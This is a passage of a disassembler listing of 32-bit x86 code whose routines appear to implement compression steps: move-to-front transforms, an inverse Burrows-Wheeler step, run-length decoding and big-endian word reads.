		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_48D29F
; ---------------------------------------------------------------------------


loc_48D294:				; CODE XREF: sub_48D089+1DBj
		mov	edx, [ebp+var_18]
		sub	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx


loc_48D29F:				; CODE XREF: sub_48D089+209j
		mov	al, byte ptr [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_48D089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D2A6	proc near		; CODE XREF: .text:0048D03Bp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_48EA9D
		add	esp, 0Ch
		mov	[ebp+var_C], 0FFFFFFFFh
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], 0
		jmp	short loc_48D2FE
; ---------------------------------------------------------------------------


loc_48D2F5:				; CODE XREF: sub_48D2A6:loc_48D369j
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_48D2FE:				; CODE XREF: sub_48D2A6+4Dj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax]
		jnb	short loc_48D36B
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_48D325
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		cmp	[ecx+eax*4], edx
		jnz	short loc_48D325
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx


loc_48D325:				; CODE XREF: sub_48D2A6+66j
					; sub_48D2A6+77j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+eax*4]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_48D34F
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax+ecx-1]
		mov	[edx], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_48D369
; ---------------------------------------------------------------------------


loc_48D34F:				; CODE XREF: sub_48D2A6+8Bj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+eax*4]
		mov	eax, [ebp+var_4]
		mov	cl, [edx-1]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_48D369:				; CODE XREF: sub_48D2A6+A7j
		jmp	short loc_48D2F5
; ---------------------------------------------------------------------------


loc_48D36B:				; CODE XREF: sub_48D2A6+60j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 4
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_48D2A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D396	proc near		; CODE XREF: .text:0048D051p

Src		= byte ptr -114h
Dst		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		mov	[ebp+var_14], 0
		jmp	short loc_48D3B1
; ---------------------------------------------------------------------------


loc_48D3A8:				; CODE XREF: sub_48D396+31j
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax


loc_48D3B1:				; CODE XREF: sub_48D396+10j
		cmp	[ebp+var_14], 100h
		jge	short loc_48D3C9
		mov	ecx, [ebp+var_14]
		mov	dl, byte ptr [ebp+var_14]
		mov	[ebp+ecx+Src], dl
		jmp	short loc_48D3A8
; ---------------------------------------------------------------------------


loc_48D3C9:				; CODE XREF: sub_48D396+22j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_8]
		mov	[ebp+var_10], edx


loc_48D3DE:				; CODE XREF: sub_48D396+D6j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jnb	loc_48D471
		lea	ecx, [ebp+Src]
		mov	[ebp+var_4], ecx


loc_48D3F3:				; CODE XREF: sub_48D396+78j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jz	short loc_48D410
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_48D3F3
; ---------------------------------------------------------------------------


loc_48D410:				; CODE XREF: sub_48D396+6Dj
		mov	ecx, [ebp+var_4]
		lea	edx, [ebp+Src]
		sub	ecx, edx
		mov	eax, [ebp+var_C]
		mov	[eax], cl
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+Src]
		cmp	edx, eax
		jz	short loc_48D463
		mov	ecx, [ebp+var_4]
		lea	edx, [ebp+Src]
		sub	ecx, edx
		push	ecx		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy_2
		add	esp, 0Ch
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ebp+Src], al


loc_48D463:				; CODE XREF: sub_48D396+9Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	loc_48D3DE
; ---------------------------------------------------------------------------


loc_48D471:				; CODE XREF: sub_48D396+4Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_48D396	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		mov	[ebp-8], ecx
		mov	edx, [ebp+10h]
		push	edx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	[ebp-4], eax
		mov	byte ptr [ebp-0Ch], 0
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_48D089
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_48D4D5
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	_memcpy_1
		add	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 1
		jmp	short loc_48D4DD
; ---------------------------------------------------------------------------


loc_48D4D5:				; CODE XREF: .text:0048D4B7j
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-8]
		mov	[edx], eax


loc_48D4DD:				; CODE XREF: .text:0048D4D3j
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	al, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+10h]
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	[ebp-4], ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_48F3E7
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		mov	eax, [ebp-4]
		push	eax
		call	sub_48D59A
		add	esp, 0Ch
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_48D679
		add	esp, 0Ch
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_48D88F
		add	esp, 10h
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_48D582
		xor	al, al
		jmp	short loc_48D596
; ---------------------------------------------------------------------------


loc_48D582:				; CODE XREF: .text:0048D57Cj
		mov	edx, [ebp-4]
		mov	[ebp-0Ch], edx
		mov	eax, [ebp-0Ch]
		push	eax
		call	sub_4C85D6
		add	esp, 4
		mov	al, 1


loc_48D596:				; CODE XREF: .text:0048D580j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D59A	proc near		; CODE XREF: .text:0048D541p

var_118		= byte ptr -118h
var_114		= dword	ptr -114h
Src		= byte ptr -110h
Dst		= byte ptr -10Fh
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		mov	[ebp+var_10], 0
		jmp	short loc_48D5B5
; ---------------------------------------------------------------------------


loc_48D5AC:				; CODE XREF: sub_48D59A+31j
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_48D5B5:				; CODE XREF: sub_48D59A+10j
		cmp	[ebp+var_10], 100h
		jge	short loc_48D5CD
		mov	ecx, [ebp+var_10]
		mov	dl, byte ptr [ebp+var_10]
		mov	[ebp+ecx+Src], dl
		jmp	short loc_48D5AC
; ---------------------------------------------------------------------------


loc_48D5CD:				; CODE XREF: sub_48D59A+22j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_8]
		mov	[ebp+var_C], edx


loc_48D5E2:				; CODE XREF: sub_48D59A+D6j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	loc_48D675
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		lea	eax, [ebp+edx+Src]
		mov	[ebp+var_114], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_114]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_114]
		lea	eax, [ebp+Src]
		cmp	edx, eax
		jz	short loc_48D667
		mov	ecx, [ebp+var_114]
		mov	dl, [ecx]
		mov	[ebp+var_118], dl
		mov	eax, [ebp+var_114]
		lea	ecx, [ebp+Src]
		sub	eax, ecx
		push	eax		; Size
		lea	edx, [ebp+Src]
		push	edx		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy_2
		add	esp, 0Ch
		mov	cl, [ebp+var_118]
		mov	[ebp+Src], cl


loc_48D667:				; CODE XREF: sub_48D59A+8Cj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_48D5E2
; ---------------------------------------------------------------------------


loc_48D675:				; CODE XREF: sub_48D59A+4Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_48D59A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48D679	proc near		; CODE XREF: .text:0048D555p

var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 830h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_824], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		sub	ecx, 4
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_82C], eax
		mov	edx, [ebp+var_82C]
		mov	[ebp+var_8], edx
		mov	[ebp+var_14], 0
		jmp	short loc_48D6D5
; ---------------------------------------------------------------------------


loc_48D6CC:				; CODE XREF: sub_48D679+81j
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax


loc_48D6D5:				; CODE XREF: sub_48D679+51j
		cmp	[ebp+var_14], 100h
		jnb	short loc_48D6FC
		mov	ecx, [ebp+var_14]
		mov	[ebp+ecx*4+var_820], 0
		mov	edx, [ebp+var_14]
		mov	[ebp+edx*4+var_414], 0
		jmp	short loc_48D6CC
; ---------------------------------------------------------------------------


loc_48D6FC:				; CODE XREF: sub_48D679+63j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx]
		mov	[ebp+var_C], edx
		jmp	short loc_48D718
; ---------------------------------------------------------------------------


loc_48D70F:				; CODE XREF: sub_48D679+C6j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_48D718:				; CODE XREF: sub_48D679+94j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_48D741
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+eax*4+var_820]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+eax*4+var_820], ecx
		jmp	short loc_48D70F
; ---------------------------------------------------------------------------


loc_48D741:				; CODE XREF: sub_48D679+A5j
		mov	[ebp+var_10], 1
		jmp	short loc_48D753
; ---------------------------------------------------------------------------


loc_48D74A:				; CODE XREF: sub_48D679+101j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_48D753:				; CODE XREF: sub_48D679+CFj
		cmp	[ebp+var_10], 100h
		jge	short loc_48D77C
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+edx*4+var_418]
		mov	ecx, [ebp+var_10]
		add	eax, [ebp+ecx*4+var_824]
		mov	edx, [ebp+var_10]
		mov	[ebp+edx*4+var_414], eax
		jmp	short loc_48D74A
; ---------------------------------------------------------------------------


loc_48D77C:				; CODE XREF: sub_48D679+E1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_41C], eax
		mov	[ebp+var_418], 0
		jmp	short loc_48D7AF
; ---------------------------------------------------------------------------


loc_48D791:				; CODE XREF: sub_48D679+185j
		mov	ecx, [ebp+var_418]
		add	ecx, 1
		mov	[ebp+var_418], ecx
		mov	edx, [ebp+var_41C]
		add	edx, 1
		mov	[ebp+var_41C], edx


loc_48D7AF:				; CODE XREF: sub_48D679+116j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_418]
		cmp	ecx, [eax]
		jnb	short loc_48D800
		mov	edx, [ebp+var_41C]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+eax*4+var_414]
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_418]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_41C]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+edx*4+var_414]
		add	eax, 1
		mov	ecx, [ebp+var_41C]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+edx*4+var_414], eax
		jmp	short loc_48D791
; ---------------------------------------------------------------------------


loc_48D800:				; CODE XREF: sub_48D679+141j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_41C], eax
		mov	[ebp+var_420], 0
		mov	ecx, [ebp+var_824]
		mov	[ebp+var_828], ecx
		jmp	short loc_48D842
; ---------------------------------------------------------------------------


loc_48D821:				; CODE XREF: sub_48D679+1F8j
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_828]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+eax*4]
		mov	[ebp+var_828], edx


loc_48D842:				; CODE XREF: sub_48D679+1A6j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_420]
		cmp	ecx, [eax]
		jnb	short loc_48D873
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_828]
		mov	eax, [ebp+var_41C]
		mov	cl, [edx]
		mov	[eax], cl
		mov	edx, [ebp+var_41C]
		add	edx, 1
		mov	[ebp+var_41C], edx
		jmp	short loc_48D821
; ---------------------------------------------------------------------------


loc_48D873:				; CODE XREF: sub_48D679+1D4j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_830], eax
		mov	ecx, [ebp+var_830]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_48D679	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_48D88F(int,void *Dst,int,int)

sub_48D88F	proc near		; CODE XREF: .text:0048D56Dp
					; .text:0048DA13p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
Dst		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [edx]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+Dst]
		add	ecx, [ebp+arg_C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0FFh
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_48D8F4
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx		; Size
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	al, 1
		jmp	loc_48D9E4
; ---------------------------------------------------------------------------


loc_48D8F4:				; CODE XREF: sub_48D88F+36j
					; sub_48D88F:loc_48D9C9j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_8]
		jnb	loc_48D9CE
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_C]
		jnb	loc_48D9CE
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 0FFh
		jnz	loc_48D9A5
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 0FFh
		jz	short loc_48D97F
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax]
		add	ecx, 3
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		cmp	eax, [ebp+var_C]
		jb	short loc_48D95A
		jmp	short loc_48D9CE
; ---------------------------------------------------------------------------


loc_48D95A:				; CODE XREF: sub_48D88F+C7j
					; sub_48D88F+ECj
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		sub	edx, 1
		mov	[ebp+var_18], edx
		test	ecx, ecx
		jz	short loc_48D97D
		mov	eax, [ebp+var_14]
		mov	cl, [ebp+var_4]
		mov	[eax], cl
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	short loc_48D95A
; ---------------------------------------------------------------------------


loc_48D97D:				; CODE XREF: sub_48D88F+D9j
		jmp	short loc_48D9A3
; ---------------------------------------------------------------------------


loc_48D97F:				; CODE XREF: sub_48D88F+A6j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_14]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_48D9A3:				; CODE XREF: sub_48D88F:loc_48D97Dj
		jmp	short loc_48D9C9
; ---------------------------------------------------------------------------


loc_48D9A5:				; CODE XREF: sub_48D88F+8Aj
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_14]
		mov	dl, [ecx]
		mov	[ebp+var_4], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_48D9C9:				; CODE XREF: sub_48D88F:loc_48D9A3j
		jmp	loc_48D8F4
; ---------------------------------------------------------------------------


loc_48D9CE:				; CODE XREF: sub_48D88F+6Bj
					; sub_48D88F+77j ...
		mov	edx, [ebp+var_14]
		sub	edx, [ebp+Dst]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		cmp	ecx, [ebp+var_8]
		setz	al


loc_48D9E4:				; CODE XREF: sub_48D88F+60j
		mov	esp, ebp
		pop	ebp
		retn
sub_48D88F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+10h]
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		mov	[ebp-4], ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_48D88F
		add	esp, 10h
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_48DA50
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp-4]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp-4]
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-0Ch]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	al, 1
		jmp	short loc_48DA52
; ---------------------------------------------------------------------------


loc_48DA50:				; CODE XREF: .text:0048DA22j
		xor	al, al


loc_48DA52:				; CODE XREF: .text:0048DA4Ej
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48DA60	proc near		; CODE XREF: sub_48DA60+82p
					; sub_48DA60+E2p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		cmp	[ebp+arg_4], 0
		jz	loc_48DB4F
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_4]
		cmp	edx, [ebp+var_C]
		jb	short loc_48DAF2
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		add	edx, [ebp+arg_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		cmp	ecx, [eax+8]
		jnb	short loc_48DAD9
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 18h
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+1]
		shl	edx, 10h
		or	eax, edx
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+2]
		shl	edx, 8
		or	eax, edx
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+3]
		or	eax, edx
		mov	[ebp+var_14], eax
		jmp	short loc_48DAEA
; ---------------------------------------------------------------------------


loc_48DAD9:				; CODE XREF: sub_48DA60+44j
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_20]
		call	sub_48DA60
		mov	[ebp+var_14], eax


loc_48DAEA:				; CODE XREF: sub_48DA60+77j
		mov	eax, [ebp+var_14]
		jmp	loc_48DBA1
; ---------------------------------------------------------------------------


loc_48DAF2:				; CODE XREF: sub_48DA60+25j
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+arg_4]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx+8]
		jnb	short loc_48DB39
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx]
		shl	edx, 18h
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		shl	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+2]
		shl	ecx, 8
		or	edx, ecx
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+3]
		or	edx, ecx
		mov	[ebp+var_1C], edx
		jmp	short loc_48DB4A
; ---------------------------------------------------------------------------


loc_48DB39:				; CODE XREF: sub_48DA60+A4j
		push	0
		mov	edx, [ebp+var_18]
		push	edx
		mov	ecx, [ebp+var_20]
		call	sub_48DA60
		mov	[ebp+var_1C], eax


loc_48DB4A:				; CODE XREF: sub_48DA60+D7j
		mov	eax, [ebp+var_1C]
		jmp	short loc_48DBA1
; ---------------------------------------------------------------------------


loc_48DB4F:				; CODE XREF: sub_48DA60+Dj
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		jmp	short loc_48DB68
; ---------------------------------------------------------------------------


loc_48DB5F:				; CODE XREF: sub_48DA60:loc_48DB9Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_48DB68:				; CODE XREF: sub_48DA60+FDj
		cmp	[ebp+var_8], 4
		jge	short loc_48DB9E
		mov	ecx, [ebp+var_4]
		shl	ecx, 8
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		or	ecx, eax
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+4]
		jb	short loc_48DB9C
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+arg_0], edx


loc_48DB9C:				; CODE XREF: sub_48DA60+132j
		jmp	short loc_48DB5F
; ---------------------------------------------------------------------------


loc_48DB9E:				; CODE XREF: sub_48DA60+10Cj
		mov	eax, [ebp+var_4]


loc_48DBA1:				; CODE XREF: sub_48DA60+8Dj
					; sub_48DA60+EDj
		mov	esp, ebp
		pop	ebp
		retn	8
sub_48DA60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_48DBA7(void	*Buf1,void *Buf2)

sub_48DBA7	proc near		; CODE XREF: .text:0048DCDCp
					; sub_48E26C+46p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
